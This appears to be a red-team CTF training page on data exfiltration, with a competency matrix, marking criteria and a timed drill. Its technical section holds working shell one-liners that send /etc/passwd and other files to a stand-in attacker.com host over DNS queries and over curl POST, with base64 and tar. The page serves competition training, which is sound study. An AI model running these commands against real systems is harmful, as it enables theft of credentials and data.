Data Exfiltration

Scope

What this is: Extracting sensitive data from compromised systems using covert channels while evading detection.

Competition relevance: Offensive operations (red team CTF). Advanced skill demonstrating complete attack chain.

Why it matters: Data exfiltration completes the attack narrative. Competition flags may require demonstrating successful data extraction from target systems.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exfiltrating sensitive data from compromised systems while evading detection).

Competition area: Core to the offensive operations area, where you extract sensitive data from compromised systems using various covert channels.

Offline competence: Data exfiltration techniques (Base64 encoding, DNS tunneling, HTTP POST) require no special tools beyond shell access and network utilities. base64, curl, nc, python all work offline. Maintain offline reference for encoding schemes and exfiltration scripts.

Competency Matrix

Level	Expectation
Regional/National	Not typically covered.
Squad/Team Selection	DNS exfiltration. HTTPS POST. Steganography.
International	Out-of-band techniques. Covert channels.

---

Technical Content

Out-of-Band Exfiltration

DNS exfiltration:

# Split data into DNS queries
cat /etc/passwd | xxd -p | tr -d '\n' | fold -w32 | while read line; do dig $line.attacker.com; done

ICMP exfiltration:

# Encode data in ICMP packets

---

HTTP/HTTPS Exfiltration

POST request:

curl -X POST -d @/etc/passwd http://attacker.com/upload

Base64 encode:

cat file.txt | base64 | curl -X POST -d @- http://attacker.com/upload

---

Compression

Compress before exfil:

tar czf - /important/data | base64 | curl -X POST -d @- http://attacker.com/upload

---

Competition Strategy & Marking

What gets marked:

• See specific task requirements

Evidence and reporting requirements: Evidence and reporting requirements:

• Screenshot showing sensitive data identified and ready for exfiltration (ls -lh, file hashes)

• Screenshot showing exfiltration method in action (base64 encoding, HTTP POST, DNS query with embedded data)

• Screenshot showing data successfully received at attacker-controlled server or collection point

• Network traffic capture if applicable (Wireshark PCAP showing exfiltration traffic)

• File size and hash comparison (original vs exfiltrated to verify integrity)

• Written explanation of exfiltration technique, covert channel used, and detection evasion method

• Clear file naming: exfil_source_data.png, exfil_base64_transfer.png, exfil_received_confirm.png

• Identify sensitive data (flags, credentials, documents)

• Choose covert channel (DNS, HTTPS)

• Compress to reduce size

• Time limit: 15 minutes

Time-boxed drill suggestion: 25-minute data exfiltration drill: Given a compromised host with sensitive files, exfiltrate data using at least two different covert methods (Base64 over HTTP POST to attacker webserver, DNS tunneling with embedded data, ICMP with data in payload), demonstrate successful receipt at collection server, and document exfiltration method with proof of data integrity. This drill should be completable offline using local HTTP servers (python3 -m http.server) and DNS resolvers.

---

False Flags / Wrong Paths

Common Traps

Time-consuming rabbit holes If a single approach takes more than the allocated time-box, reassess and try alternative methods or move to next task.

Over-complication Competition scenarios test core skills. If solution seems overly complex, look for simpler approach.

---

Practice Checklist

• Can complete core tasks without documentation
• Understand key concepts and techniques
• Can document findings with proper evidence format
• Can complete realistic scenarios within time limits

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../00-roadmaps/[stage].md

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references